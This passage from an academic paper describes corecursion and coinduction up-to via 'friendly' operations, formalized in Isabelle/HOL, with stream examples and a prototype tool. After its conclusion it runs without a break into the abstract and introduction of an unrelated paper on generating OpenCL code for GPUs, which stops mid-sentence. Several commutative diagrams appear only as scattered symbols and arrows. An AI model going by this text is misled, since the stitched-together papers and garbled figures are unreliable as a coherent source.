commutes for each fi. (If we preferred the destructor view, we could
replace the right upward ctor arrow with a downward dtor arrow
without changing the diagram’s meaning.)

It suffices to peel off one layer of the arguments ji (by applying
dtor) for a friendly operation fi to produce, via Λ, one layer of
the result and to delegate the rest of the computation to a context
consisting of a combination of friendly operations (an element of
Σ∗J). But how can we formally express that exploring one layer
is enough, i.e., that applying Λ : J×F J→ F (Σ∗J) to ( ji, dtor ji)
does not leed to a deeper exploration? An elegant way of capturing
this is to require that Λ, a polymorphic function, operates without
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A corecPrim s //

s

��

J

F A
F (corecPrim s)// F J

ctor

OO

(a) Primitive corecursion

A
corecTop s //

s
��

J

F (Σ∗A)

F (Σ∗ (corecTop s)) %%

F J

ctor

OO

F (Σ∗J)

F eval

;;

(b) Top-guarded corecursion up-to

A corecFlex s //

s
��

J

Σ∗ (F (Σ∗A))

Σ∗(F (Σ∗ (corecFlex s))) ((

Σ∗J

eval

OO

Σ∗ (F (Σ∗J))
Σ∗ (F eval)// Σ∗ (F J)

Σ∗ ctor

OO

(c) Flexibly guarded corecursion up-to

Figure 3: The corecursors

analyzing J, i.e., that it operates in the same way on A×F A→
F (Σ∗A) for any set A. This requirement is precisely parametricity.

Strictly speaking, the friendly operations f are a redundant piece
of data in the state (K, f , Λ), since, assuming Λ parametric, we can
prove that there exists a unique tuple f that satisfies the friendliness
condition. Hence, in principle, the operations f could be derived
on a per-need basis. However, in the context of proof assistants,
these operations must be available as part of the state, since a user
will directly formulate their corecursive definitions in terms of these
operations.

Example 4. Let J = Stream and assume that SCons : Nat×
Stream→ Stream and⊕ : Stream2→ Stream are the only friendly
operations registered so far. Then K1 = λB. Nat×B, f1 = SCons,
K2 = λB. B2, and f2 =⊕. Moreover, Σ∗A = lfp (λB. A+Stream+
(Nat× B+ B2)) consists of formal-expression trees with leaves
in A and Stream and built using arity-correct applications of
operation symbols corresponding to SCons and ⊕, written SCons
and ⊕ . Given n ∈ Nat and a, b ∈ A, an example of such a tree
is vleaf a ⊕ SCons (n, vleaf a ⊕ vleaf b). If additionally A =
Stream, then eval applied to this tree is a⊕ SCons n (a⊕ b).

But what is Λ? As we show below, we need not worry about the
global definition of Λ, since both Σ and Λ will be updated incre-
mentally when registering new operations as friendly. Nonetheless,
a global definition of Λ for SCons and ⊕ follows:

Λ z = case z of
ι1 (n, (a, (m, a′))) ⇒ (n, SCons (m, vleaf a′))
ι2 ((a, (m, a′)), (b, (n, b′)))⇒ (m+n, vleaf a′ ⊕ vleaf b′)

Informally, SCons and ⊕ exhibit the following behaviors:

• to evaluate SCons on a number n and an item a with (head a,
tail a) = (m, a′), produce n and evaluate SCons on m and a′, i.e.,
output SCons n (SCons m a′) = SCons n a;

• to evaluate ⊕ on a, b with (head a, tail a) = (m, a′) and
(head b, tail b) = (n, b′), produce m + n and evaluate ⊕ on
a′ and b′, i.e., output SCons (m+n) (a′ ⊕ b′).

A natural question at this point is why we need “constant” leaves
cleaf j in Σ∗A, given that the eval function is defined on Σ∗J and
operates on cleaf j in the same way as it does on vleaf j. The answer
is that constant leaves allow Λ to produce results that concretely
refer to J, which offers greater flexibility. To illustrate this, let us
change our operation ⊕ by replacing, in the right-hand side of its
corecursive call, the argument tail ys with a fixed stream, oneTwos:

xs⊕ ys = SCons (head xs+head ys) (tail xs⊕ oneTwos)

To capture this as friendly, we need to change the ι2 case of Λ to
(m+ n, vleaf a′ ⊕ cleaf oneTwos). One could achieve the above
by registering the constant operation oneTwos as friendly. However,
we want all elements of J to be a priori registered as friendly. This
is precisely what cleaf offers.

F (A×F A) Λ //

F snd

��

F (F∗A)

F (F A)
F (F vleaf)// F (F (F∗A))

F op

OO

Figure 4: Definition of Λ for the initial state

3.4 Corecursion Up-to
A corecursion state (K, f , Λ) for an F-defined codatatype J consists
of a collection of operations fi : Ki J→ J that satisfy the friendliness
properties expressed in terms of a parametric function Λ. We are
now ready to harvest the crop of this setting: a corecursion principle
for defining functions having J as codomain.

The principle will be represented by two corecursors, corecTop
and corecFlex. Although subsumed by the latter, the former is inter-
esting in its own right and will give us the opportunity to illustrate
some fine points. Below we list the types of these corecursors along
with that of the primitive corecursor for comparison:

Primitive corecursor:
corecPrim : ∏A∈Set(A→ F A)→ A→ J

Top-guarded corecursor up-to:
corecTop : ∏A∈Set(A→ F (Σ∗A))→ A→ J

Flexibly guarded corecursor up-to:
corecFlex : ∏A∈Set(A→Σ∗ (F (Σ∗A)))→ A→ J

Figure 3 presents the diagrams whose commutativity properties give
the characteristic equations of these corecursors.

Each corecursor implements a contract of the following form: If,
for each a ∈ A, one provides the intended corecursive behavior of
g a represented as s a, where s is a function from A, one obtains the
function g : A→ J (as the corresponding corecursor applied to s)
satisfying a suitable fixpoint equation matching this behavior.

The codomain of s is the key to understanding the expressiveness
of each corecursor. The intended corecursive calls are represented by
A, and the call context is represented by the surrounding combination
of functors (involving F, Σ∗, or both):

• for corecPrim, the allowed call contexts consist of a single
constructor guard (represented by F);

• for corecTop, they consist of a constructor guard (represented
by F) followed by any combination of friendly operations fi
(represented by Σ∗);

• for corecFlex, they consist of any combination of friendly
operations satisfying the condition that on every path leading
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to a corecursive call there exists at least one constructor guard
(represented by Σ∗ (F (Σ∗_))).

We can see the computation of g a by following the diagrams
in Figure 3 counterclockwise from their left-top corners. The
application s a first builds the call context syntactically. Then g
is applied corecursively on the leaves. Finally, the call context
is evaluated: For corecPrim, it consist only of the guard (ctor);
for corecTop, it involves the evaluation of the friendly operations
(which may also include several occurrences of the guard) and ends
with the evaluation of the top guard; for corecFlex, the evaluation of
the guard is interspersed with that of the other friendly operations.

Example 5. For each example from Section 2.1, we give the
corecursors that can handle it (assuming the necessary friendly
operations were registered):

⊕, everyOther: corecFlex, corecTop, corecPrim
oneTwos, fibA,⊗, exp, sup: corecFlex, corecTop
fibB, facA, facB: corecFlex

(Note that everyOther is definable in our framework, but is not
friendly, meaning that it cannot participate in call contexts of other
corecursive definitions.) With the usual identification of Unit→ J
and J, we can define fibA and facA as

corecTop (λu : Unit. (0, SCons (1, vleaf u) ⊕ vleaf u))
corecFlex (λu : Unit. vleaf (1, vleaf u) ⊗ vleaf (1, vleaf u))

Let us compare fibA’s specification fibA = SCons 0 (SCons 1 fibA
⊕ fibA) with its definition in terms of corecTop. The outer SCons
guard (with 0 as first argument) corresponds to the outer pair (0, _).
The inner SCons and ⊕ are interpreted as friendly operations and
represented by the symbols SCons and ⊕ (cf. Example 4). Finally,
the corecursive calls of fibA are captured by vleaf u.

The desired specification can be obtained from the corecTop
form by the characteristic equation of corecTop (for A = Unit) and
the properties of eval as follows, where we simply write s, fibA, and
vleaf for their applications to the unique element () of Unit, namely
s (), fibA (), and vleaf ():

fibA

= {by the commutativity of Figure 3b, with fibA = corecTop s}
ctor (F (eval ◦Σ∗ fibA) s)

= {by the definitions of F and s}
SCons 0 ((eval ◦Σ∗ fibA) (SCons (1, vleaf) ⊕ (vleaf)))

= {by the definition of Σ∗}
SCons 0 (eval (SCons (1, vleaf fibA) ⊕ (vleaf fibA))

= {by the definition of eval}
SCons 0 (SCons 1 fibA ⊕ fibA)

The elimination of the corecTop infrastructure relies on simplifica-
tion rules for the involved operators and can be fully automatized.

Parametricity and friendliness are crucial for proving that the
corecursors actually exist:

Theorem 6. There exist the polymorphic functions corecTop and
corecFlex making the diagrams in Figures 3b and 3c commute.
Moreover, for each s of appropriate type, corecTop s or corecFlex s
is the unique function making its diagram commute.

Theorem 6 is a known result from the category theory literature:
The corecTop s version follows from the results in Bartels’s thesis
[10], whereas the corecFlex s version was recently (and indepen-
dently) proved by Milius et al. [46, Theorem 2.16].

3.5 Initializing the Corecursion State
The simplest relaxation of primitive corecursion is the allowance of
multiple constructors in the call context, in the style of Coq, as in the

definition of oneTwos (Section 2.1). Since this idea is independent
of the choice of codatatype J, we realize it when bootstrapping
the corecursion state. Upon defining a codatatype J, we take the
following initial corecursion state initState = (K, f , Λ):

• K is a singleton consisting of (a copy of) F;
• f is a singleton consisting of ctor;
• Λ : ∏A∈Set F (A × F A) → F (F∗ A) is defined as F (op ◦

F vleaf ◦ snd), where snd is the second product projection.

Recall that the seed Λ is designed to schematically represent the
corecursive behavior of the registered operations by describing how
they produce one layer of observable data. The definition in Figure 4
depicts this for ctor and instantiates to the schematic behavior of
SCons presented at the end of Example 4.

Theorem 7. initState is a well-formed corecursion state—i.e., it
satisfies parametricity and friendliness.

3.6 Advancing the Corecursion State
The role of a corecursion state (K, f , Λ) for J is to provide infras-
tructure for flexible corecursive definitions of functions g between
arbitrary sets A and J. If nothing else is known about A, this is the
end of the story. However, assume that J is a component of A, in
that A is constructed from J (possibly along with other components).
For example, A could be List J, or J× (Nat→ List J). We capture
this abstractly by assuming A = K J for some functor K.

In this case, we have a fruitful situation of which we can
profit for improving the corecursion state, and hence improving the
flexibility of future corecursive definitions. Under some uniformity
assumptions, g itself can be registered as friendly.

More precisely, assume that g : K J → J is defined by g =
corecTop s and that s can be proved uniform in the following sense:
There exists a parametric function

ρ : ∏A∈Set K (A×F A)→ F (Σ∗ (K A))

such that s = ρ ◦ K〈id, dtor〉 (Figure 5a). Then we can integrate g
as a friendly operation as follows.

We define nextStateg (K, f , Λ), the “next” corecursion state
triggered by g, as (K′, f ′, Λ′), where

• K′ = (K1, . . . , Kn, K) (similarly to Σ versus K, we write Σ′

for the signature functor of K′; note that we essentially have
Σ′ = Σ+K);

• f ′ = ( f1, . . . , fn, g);
• Λ′ : ∏A∈Set Σ′ (A×F A)→ F (Σ′∗A) is defined as [F embL ◦Λ,

F embR ◦ ρ], where [_, _] is the case operator on sums, which
builds a function [u, v] : B +C → D from two functions u :
B→ D and v : C → D, and embL : Σ∗A→ Σ′∗A and embR :
Σ∗ (K A)→Σ′∗A are the natural embeddings into Σ′∗A.

Theorem 8. If (K, f , Λ) is a well-formed corecursion state, then so
is nextStateg (K, f , Λ).

In summary, we have the following scenario triggering the state’s
advancement:

1. One defines a new operation g = corecTop s.

2. One shows that s factors through a parametric function ρ and
K 〈id, dtor〉 (as in Figure 5a); in other words, one shows that
g’s corecursive behavior s can be decomposed into a one-step
destruction of the arguments and a parametric transformation
(which is independent of J).

3. The corecursion state is updated by nextStateg.
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Figure 5: A new friendly operation g

Example 9. Assume that SCons and ⊕ are registered as friendly
at the time of defining ⊗ (cf. Example 4). Then K = λA. A2 and
⊗= corecTop s, where

s = λ(xs, ys). (head xs×head ys,
vleaf (xs, tail ys) ⊕ vleaf (tail xs, ys))

The function s can be recast into ρ ◦ K 〈id, 〈head, tail〉〉, where

ρ : ∏A∈Set (A× (Nat×A))2→ Nat×Σ∗ A2

is defined by

ρ ((a, (m, a′)), (b, (n, b′))) = (m×n, vleaf (a, b′) ⊕ vleaf (a′, b))

which is clearly parametric. Determining ρ from s and K 〈id, 〈head,
tail〉〉 can be done in a syntax-directed fashion.

Above, the new operation g : K J → J was defined using
corecTop, and the domain of g was treated as any arbitrary do-
main. It turns out there is more opportunity for taking advantage of
the form K J of the domain: We can allow the corecursive calls of g
to mix freely with occurrences of the other friendly operations, i.e.,
treat g as friendly already when defining it. To this end, we slightly
change the codomain of ρ, replacing Σ∗ (K A) with (Σ+K)∗A, i.e.,
Σ′∗A. We now assume ρ : ∏A∈Set K (A×F A)→ F ((Σ+K)∗A)
and have the following improved version of Theorem 8.

Theorem 10. Assume (K, f , Λ) is a well-formed corecursion state,
s = ρ ◦ K〈id, dtor〉 (as in Figure 5b), and ρ is parametric. Then
there exists a unique function g : K J→ J that makes the (outer) dia-
gram in Figure 5b commute and such that nextStateg (K, f , Λ) =

(K′, f ′, Λ′) is again a well-formed corecursion state, where

• K′ = (K1, . . . , Kn, K) (hence Σ′ = Σ+K);
• f ′ = ( f1, . . . , fn, g);
• Λ′ : ∏A∈Set Σ′ (A×F A)→ F (Σ′∗A) is defined as [F embL ◦Λ,
ρ].

In Figure 5b, the function evalg : (Σ + K)∗J → J is the natural
extension of both eval : Σ∗J→ J and g.

The above theorem allows us to define and integrate as friendly
functions such as

xs♥ ys = SCons (head xs×head ys)
((((xs♥ tail ys)⊕ (tail xs⊗ ys))♥ ys)⊗ zs)

whose corecursive calls mix freely with ⊕ and ⊗.
In Theorem 8, the definition of the new operation is decoupled

from the parametric decomposition of its corecursion law, which
ensures friendliness. We may define g as corecTop s regardless of
whether s decomposes as ρ ◦ K〈id, dtor〉 for a parametric ρ; but we
can register g as friendly only if such a decomposition is possible.
On the other hand, in Theorem 10, the very existence of g depends
on s being parametrically decomposable: The behavior of g needs

to be a priori known as friendly, because g itself can participate in
the call contexts for g. Thus, the following definition is valid, and
yields a friendly operation, according to Theorem 10:

g xs = SCons (head xs) (g (g (tail xs)))

By contrast, the next definition is not valid due to the nonexistence
of a suitable ρ:

g xs = SCons (head xs) (g (g (tail (tail xs))))

In fact, it is not productive, let alone friendly.

3.7 Coinduction Up-to
In a proof assistant, specification mechanisms are not very useful
unless they are complemented by suitable reasoning infrastructure.
The natural counterpart of corecursion up-to is coinduction up-to. In
our incremental framework, the expressiveness of coinduction up-to
grows together with that of corecursion up-to.

We start with structural coinduction [56], allowing to prove two
elements of J equal by exhibiting an F-bisimulation, i.e., a binary
relation R on J such that whenever two elements j1 and j2 are
related, their dtor-unfoldings are componentwise related by R:

R j1 j2 ∀ j1 j2 ∈ J. R j1 j2 −→ Frel R (dtor j1) (dtor j2)

j1 = j2
Recall that our type constructors are not only functors but also
relators. The notion of “componentwise relationship” refers to F’s
relator structure Frel.

Upon integrating a new operation g (Section 3.6), the coinduction
rule is made more flexible by allowing the dtor-unfoldings to be
componentwise related not only by R but more generally by a closure
of R that takes g into account.

For a corecursion state (K, f , Λ) and a relation R : J→ J→Bool,
we define cl f R, the f -congruence closure of R, as the smallest
equivalence relation that includes R and is compatible with each
fi : Ki J→ J: ∀z1 z2 ∈ Ki J. Kreli R z1 z2 −→ cl f R ( fi z1) ( fi z2),
where Kreli is the relator associated with Ki.

The next theorem supplies the reasoning counterpart of the
definition principle stated in Theorem 6. It can be inferred from
recent, more abstract results [54].

Theorem 11. The following coinduction rule up to f holds in the
corecursion state (K, f , Λ):

R j1 j2 ∀ j1 j2 ∈ J. R j1 j2 −→ Frel (cl f R) (dtor j1) (dtor j2)

j1 = j2

Coinduction up to f is the ideal abstraction for proving equalities
involving functions defined by corecursion up to f : For example, a
proof of commutativity for ⊗ naturally relies on contexts involving
⊕, because ⊗’s corecursive behavior (i.e., ⊗’s dtor-unfolding)
depends on ⊕.
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Figure 6: Mixed fixpoint

4. Mixed Fixpoints
When we write fixpoint equations to define a function f , we often
want to distinguish corecursive calls from calls that are sound
for other reasons—for example, if they terminate. We model this
situation abstractly by a function s : A→Σ∗ (F (Σ∗A)+Σ∗A). As
usual, for each a, the shape of s a represents the calling context for
f a, with the occurrences of the content items a′ in s a representing
calls to f a′. The new twist is that we now distinguish guarded calls
(captured by the left-hand side of +) from possibly unguarded ones
(the right-hand side of +).

We want to define a function f with the behavior indicated by s,
i.e., making the diagram in Figure 6b commute. In the diagram, +
denotes the map function u+ v : B+C → D+ E built from two
functions u : B→ D and v : C → E. In the absence of pervasive
guards, we cannot employ the corecursors directly to define f .
However, if we can show that the noncorecursive calls eventually
lead to a corecursive call, we will be able to employ corecFlex.
This precondition can be expressed in terms of a fixpoint equation.
According to Figure 6a, the call to g (shown on the base arrow)
happens only on the right-hand side of +, meaning that the intended
corecursive calls are ignored when “computing” the fixpoint g. Our
goal is to show that the remaining calls behave properly.

The functions reduce and eval that complete the diagrams of
Figure 6 are the expected ones:

• The elements of Σ∗ (F (Σ∗A)) are formal-expression trees
guarded on every path to the leaves, and so are the elements
Σ∗ (F (Σ∗A)+Σ∗ (Σ∗ (F (Σ∗A)))), but with a more restricted
shape; reduce embeds the latter in the former:

reduce = flat ◦Σ∗[vleaf, flat]

where flat : ∏A∈Set Σ∗ (Σ∗A)→ A is the standard join operation
of the Σ∗-monad.

• eval_(F _+_) evaluates all the formal operations of Σ∗:

eval_(F _+_) = eval ◦Σ∗ [ctor ◦ F eval, eval]

Theorem 12. If there exists (a unique) g : A→Σ∗ (F (Σ∗A)) such
that the diagram in Figure 6a commutes, there exists (a unique)
f : A→ J such that the diagram in Figure 6b commutes, namely,
corecFlex g.

The theorem certifies the following procedure for making sense
of a mixed fixpoint definition of a function f :

1. Separate the guarded and the unguarded calls (as shown in the
codomain Σ∗ (F (Σ∗A)+Σ∗A) of s).

2. Prove that the unguarded calls eventually terminate or lead to
guarded calls (as witnessed by g).

3. Pass the unfolded guarded calls to the corecursor—i.e., take
f = corecFlex g.

Example 13. The above procedure can be applied to define facC,
primes : Nat→ Nat→ Stream, and cat : Nat→ Stream, while

avoiding the unsound nasty (Section 2.3). A simple analysis reveals
that the first self-call to primes is guarded while the second is not.
We define g : Nat×Nat→Σ∗ (Nat×Σ∗ (Nat×Nat)) by

g (m, n) = if (m = 0 ∧ n > 1) ∨ gcd m n = 1
then vleaf (n, vleaf (m×n, n+1))
else g (m, n+1)

In essence, g behaves like the function f we want to define (here,
primes), except that the guarded calls are left symbolic, whereas the
unguarded calls are interpreted as actual calls to g. We can show
that g is well defined by a standard termination argument. This
characteristic equation of g is the commutativity of the diagram
determined by s as in Figure 6a, where s : Nat×Nat→Σ∗ (Nat×
Σ∗ (Nat×Nat) + Σ∗ (Nat×Nat)) is defined as follows:

s (m, n) = if (m = 0 ∧ n > 1) ∨ gcd m n = 1
then vleaf (Inl (n, vleaf (m×n, n+1)))
else vleaf (Inr (vleaf (m, n+1)))

where Inl and Inr are the left and right sum embeddings. Setting
primes = corecFlex g yields the desired characteristic equation for
primes after simplification (as illustrated in Example 4).

The primes example has all unguarded calls in tail form, which
makes the associated function g tail-recursive. This need not be
the case, as shown by the cat example, whose unguarded calls
occur under the friendly operation ⊕. However, we do require
that the unguarded calls occur in contexts formed by friendly
operations alone. This requirement guarantees that after unfolding
all the unguarded calls, the resulting context that is to be handled
corecursively is friendly. This precludes unsound definitions such as
nasty.

5. Formalization
We formalized the metatheory of Sections 3 and 4 in Isabelle/HOL.
The results have been proved in higher-order logic with Infinity,
Choice, and a mechanism for defining types by exhibiting non-
empty subsets of existing types. The logic is comparable to Zermelo
set theory with Choice (ZC) but weaker than ZFC. The development
would work for any class of functors that are relators (or closed under
weak pullbacks), contain basic functors (identity, (co)products, etc.)
and are closed under intersection and composition, and have initial
algebras and final coalgebra that can be represented in higher-order
logic. However, our Isabelle development focuses on a specific class:
the bounded natural functors [60].

The formalization consists of two parts: The base derives a
corecursor up-to from a primitive corecursor; the step starts with a
corecursor up-to and integrates an additional friendly operation.

The base part starts by axiomatizing a functor F and defines
a codatatype with nesting through F: codatatype J = ctor (F J).
In general, J could depend on type variables, but this is an orthogonal
concern. Then the formalization defines the free algebra over F and
the basic corecursor seed Λ for initializing the state with ctor as
friendly (Section 3.5). It also needs to lift Λ to the free algebra, a
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technicality that was omitted in the presentation. Then it defines eval
and other necessary structure (Section 3.3). Finally, it introduces
corecTop and corecFlex (Section 3.4) and derives the corresponding
coinduction principle (Section 3.7).

From a high-level point of view, the step part has a somewhat
similar structure to the base. It axiomatizes a domain functor K and
a parametric function ρ associated with the new friendly operation
g to integrate. Then it extends the signature to include K, defines
the extended corecursor seed Λ′, and lifts Λ′ to the free algebra.
Next, it defines the parameterized evalg and other infrastructure
(Section 3.6). Finally, it introduces corecTop and corecFlex for the
new state and derives the coinduction principle.

6. Prototype Implementation
The process of instantiating the metatheory to particular user-
specified codatatypes is automated by a prototype tool. The user
points to a particular codatatype [14]. The tool takes over and in-
stantiates the generic corecursor to the indicated type, providing the
concrete corecursion and mixed recursion–corecursion theorems.
The stream and tree examples presented in Section 2 have all been
obtained with this tool. As a larger case study, we formalized all the
examples from the extended version of Hinze and James’s study [29].
The parametricity proof obligations were discharged by Isabelle’s
parametricity prover [31]. The mixed recursion–corecursion defi-
nitions were done using Isabelle’s facility for defining terminating
recursive functions [36].

Our tool currently lacks syntactic sugar. It still requires some
boilerplate from the user, namely the explic invocation of the
corecursor and the parametricity prover. These are just a few extra
lines of script per definition, and therefore the tool is also usable
in the current form. Following the design of its primitive ancestor
[14], the envisioned user-friendly corec command will automate
the following steps (cf. Example 5):

1. Parse the user’s corecursive specification of f and synthesize
arguments to the current, most powerful corecursor.

2. Define f in terms of the corecursor.

3. Derive the original specification from the corecursor theorems.

Passing the friendly option to corec will additionally invoke
the following procedure (cf. Example 9):

4. Extract a polymorphic function ρ from the specification of f.

5. Automatically prove ρ parametric or pass the proof obligation to
the user.

6. Derive the strengthened corecursor and its coinduction rule.

The corec command will be complemented by an additional
command, tentatively called corec_friendly, for registering arbi-
trary operations f (not necessarily defined using corec) as friendly.
The command will ask the user to provide a corecursive specifica-
tion of f as a lemma of the form f x = ctor . . . and then perform
steps 4 to 6. The corec command will become increasingly stronger
as more operations are registered.

The following Isabelle-like theory fragment gives a flavor of the
envisioned functionality from the user’s point of view:

codatatype Stream A = SCons (head: A) (tail: Stream A)

corec (friendly) ⊕ : Stream→ Stream→ Stream
xs⊕ ys = SCons (head xs+head ys) (tail xs⊕ tail ys)

corec (friendly) ⊗ : Stream→ Stream→ Stream
xs⊗ ys = SCons (head xs×head ys)

((xs⊗ tail ys)⊕ (tail xs⊗ ys))

lemma ⊕_commute: xs⊕ ys = ys⊕ xs

by (coinduction arbitrary: xs ys rule: stream.coinduct) auto

lemma ⊗_commute: xs⊗ ys = ys⊗ xs
proof (coinduction arbitrary: xs ys rule: stream.coinduct_upto)

case Eq_stream thus ?case unfolding tail_⊗
by (subst ⊕_commute) (auto intro: stream.cl_⊕)

qed

7. Related Work
There is a lot of relevant work, concerning both the metatheory and
applications in proof assistants and similar systems. We referenced
some of the most closely related work in the earlier sections. Here
is an attempt at a more systematic overview.

Category Theory. The notions of corecursion and coinduction up-
to started with process algebra [55, 58] before they were recast in the
abstract language of category theory [9, 29, 33, 35, 46, 54, 61]. Our
approach owes a lot to this theoretical work, and indeed formalizes
some state-of-the-art category theoretical results on corecursion
and coinduction up-to [46, 54]. Besides adapting existing results to
higher-order logic within an incremental corecursor cycle, we have
extended the state of the art with a sound mechanism for mixing
recursion with corecursion up-to.

Category theory provides an impressive body of abstract results
that can be applied to solve concrete problems elegantly. Proof
assistants have a lot to benefit from category theory, as we hope
to have demonstrated with this paper. There has been prior work
on integrating coinduction up-to techniques from category theory
into these tools. Hensel and Jacobs [26] illustrated the categorical
approach to (co)datatypes in PVS via axiomatic declarations of
various flavors of trees with (co)recursors and proof principles.
Popescu and Gunter proposed incremental coinduction for a deeply
embedded proof system in Isabelle/HOL [51]. Hur et al. [32]
extended Winskel’s [64] and Moss’s [47] parameterized coinduction
and studied applications to Agda, Coq, and Isabelle/HOL. Endrullis
et al. [25] developed a method to perform up-to coinduction in Coq
inspired by behavioral logic [53]. To our knowledge, no prior work
has realized corecursion up-to in a proof assistant.

Ordered Structures and Convergence. A number of approaches
to define functions on infinite types are based on domain theory, or
more generally on ordered structures and notions of convergence,
including Matthews [45], Di Gianantonio and Miculan [23], Huff-
man [30], and Lochbihler and Hölzl [44]. These do not capture total
programming or productivity; instead, the user must switch to a
richer universe of domains and continuous computations.

Strictly speaking, our approach does not guarantee productivity
either. This is an inherent limitation of the semantic (shallow
embedded) approach in HOL systems, which do not specify a
computational model (unlike Agda and Coq). Productivity can
be argued informally by inspecting the characteristic corecursion
equations.

Syntactic Criteria. Proof assistants based on type theory include
checkers for termination of recursion functions and productivity
of corecursive functions. These checkers are part of the system’s
trusted code base; bugs can lead to inconsistencies, as we saw for
Agda [59] and Coq [22].1 For users, built-in syntactic criteria are
inflexible, due to their inability to evolve by incorporating semantic
information; for example, Coq allows more than one constructor to
appear as guards but is otherwise limited to primitive corecursion.

1 In all fairness, we should mention that critical bugs were also found in the
primitive definitional mechanism of our proof assistant of choice [38, 39].
Our point is not that brand B is superior to brand A, but rather that it is
generally desirable to minimize the amount of trusted code.
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To the best of our knowledge, the only deployed system that
explicitly supports mixed recursive–corecursive definitions is Dafny.
Leino and Moskal’s paper [40] triggered our interest in the topic.
However, a naive reading of the paper suggests that the inconsistent
nasty example from Section 2.3 is allowed, as was the case with
earlier versions of Dafny. Newer versions reject not only nasty but
also the legitimate cat function from the same subsection.

Type Systems. A more flexible alternative to syntactic criteria
is to have users annotate the functions’ types with information
that controls termination and productivity. Approaches in these
category include fair reactive programming [19, 24, 37], clock
variables [8, 20], and sized types [2]. Sized types are implemented
in MiniAgda [3] and in newer versions of Agda, in conjunction with
a destructor-oriented (copattern) syntax for corecursion [5]. These
approaches, often featuring a blend of type systems and notions of
convergence, achieve a higher modularity and trustworthiness, by
moving away from purely syntactic criteria and toward semantic
properties. By carefully tracking sizes and timers, they allow for
more general corecursive call contexts than friendliness; for example,
given suitable annotations, everyOther can participate in certain
corecursive call contexts.

Our criterion captures a “1–1” contract: A friendly function
can destroy one constructor to produce at least one construc-
tor. The function double mapping the stream a1, a2, . . . to a1, a1,
a2, a2, . . . is friendly, but it would be more precisely described
by a 1–2 contract. The function everyOther mapping a1, a2, a3,
a4, . . . to a1, a3, . . . is not friendly; it would require a 2–1 con-
tract. And although everyOther ◦ double satisfies a 1–1 contract
(2–1 ◦ 1–2 = 1–1), our corec command must reject the defini-
tion zeros = SCons 0 (everyOther (double zeros)) because the
unfriendly function everyOther appears in the call context.

In exchange for their flexibility, clock variables and sized types
require extending the type system and burden the types. The general
contracts must be specified by the user and complicate the up-to
corecursion principle; the contract arithmetic would have to be
captured in the principle, giving rise to new proof obligations. By
contrast, friendly functions can be freely combined. This is the main
reason why we claim it is a “sweet spot.”

There is a prospect of embedding our lighter approach into
such heavier but more precise frameworks. Our friendly operations
possibly form the maximal class of context functions requiring no
annotations (in general), amounting to a lightweight subsystem of
Krishnaswami and Benton’s type system [37].

8. Conclusion
We presented a formalized framework for deriving rich corecursors
that can be used to define total functions producing codatatypes.
The corecursors gain in expressiveness with each new corecursive
function definition that satisfies a semantic criterion. They constitute
a significant improvement over the state of the art in the world
of proof assistants based on higher-order logic, including HOL4,
HOL Light, Isabelle/HOL, and PVS. Trustworthiness is attained at
the cost of elaborate constructions. Coinduction being somewhat
counterintuitive, we argue that these safeguards are well worth the
effort. As future work, we want to transform our prototype tool into
a solid implementation inside Isabelle/HOL.

Although we advocate the foundational approach, many ideas
equally apply to systems with built-in codatatypes and corecursion.
One could imagine extending the productivity check of Coq to allow
corecursion under friendly operations, linking a syntactic criterion
to a semantic property, as a lightweight alternative to clock variables
and sized types. The emerging infrastructure for parametricity in
Coq [12, 34] would likely be a useful building block.
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Abstract
Computers have become increasingly complex with the emergence
of heterogeneous hardware combining multicore CPUs and GPUs.
These parallel systems exhibit tremendous computational power
at the cost of increased programming effort resulting in a tension
between performance and code portability. Typically, code is either
tuned in a low-level imperative language using hardware-specific
optimizations to achieve maximum performance or is written in a
high-level, possibly functional, language to achieve portability at
the expense of performance.

We propose a novel approach aiming to combine high-level pro-
gramming, code portability, and high-performance. Starting from a
high-level functional expression we apply a simple set of rewrite
rules to transform it into a low-level functional representation, close
to the OpenCL programming model, from which OpenCL code is
generated. Our rewrite rules define a space of possible implementa-
tions which we automatically explore to generate hardware-specific
OpenCL implementations. We formalize our system with a core
dependently-typed λ-calculus along with a denotational semantics
which we use to prove the correctness of the rewrite rules.

We test our design in practice by implementing a compiler
which generates high performance imperative OpenCL code. Our
experiments show that we can automatically derive hardware-
specific implementations from simple functional high-level al-
gorithmic expressions offering performance on a par with highly
tuned code for multicore CPUs and GPUs written by experts.

Categories and Subject Descriptors D3.2 [Programming Lan-
guages]: Language Classification – Applicative (functional) lan-
guages; Concurrent, distributed, and parallel languages; D3.4
[Processors]: Code generation, Compilers, Optimization

Keywords Algorithmic patterns, rewrite rules, performance porta-
bility, GPU, OpenCL, code generation
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1. Introduction
In recent years, graphics processing units (GPUs) have emerged as
the power horse of high-performance computing. These devices of-
fer enormous raw performance but require programmers to have a
deep understanding of the hardware in order to maximize perfor-
mance. This means software is written and tuned on a per-device
basis and needs to be adapted frequently to keep pace with ever
changing hardware.

Programming models such as OpenCL offer the promise of
functional portability of code across different parallel processors.
However, performance portability often remains elusive; code
achieving high performance for one device might only achieve a
fraction of the available performance on a different device. Figure 1
illustrates this problem by showing how a parallel reduce (a.k.a.
fold) implementation, written and optimized for one particular de-
vice, performs on other devices. Three implementations have been
tuned to maximize performance on each device: the Nvidia_opt
and AMD_opt implementations are tuned for the Nvidia and AMD
GPU respectively, implementing tree-based reduce using an itera-
tive approach with carefully specified synchronization primitives.
The Nvidia_opt version utilizes the local (a.k.a. shared) memory to
store intermediate results and exploits a hardware feature of Nvidia
GPUs to avoid certain synchronization barriers. The AMD_opt
version does not perform these two optimizations but instead uses
vectorized operations. The Intel_opt parallel implementation, tuned
for an Intel CPU, also relies on vectorized operations. However, it
uses a much coarser form of parallelism with fewer threads, in
which each thread performs more work.
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Figure 1: Performance is not portable across devices. Each bar
represents the device-specific optimized implementation of a paral-
lel reduce implemented in OpenCL and tuned for an Nvidia GPU,
AMD GPU, and Intel CPU respectively. Performance is normalized
with respect to the best implementation on each device.
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Figure 1 shows the performance achieved by each implementa-
tion on three different devices. Running an implementation which
has been optimized on a different device leads to suboptimal per-
formance in all cases. Consider the AMD_opt implementation, for
instance, where we see that the performance loss is 20% when run-
ning on the Nvidia GPU and 90% (i.e., 10× slower) when running
on the CPU. The CPU optimized version, Intel_opt, achieves less
than 20% (i.e., 5× slower) when run on a GPU. Finally, it is worth
noting that the Nvidia_opt version, which performs quite badly on
the AMD GPU, actually fails to execute correctly on the CPU. This
is due to a low-level optimization which removes synchronization
barriers which can be avoided on the GPU, but are required on the
CPU for correctness.

This lack of performance portability is mainly due to the low-
level nature of the programming model; the dominant programming
interfaces for parallel devices such as GPUs exposes programmers
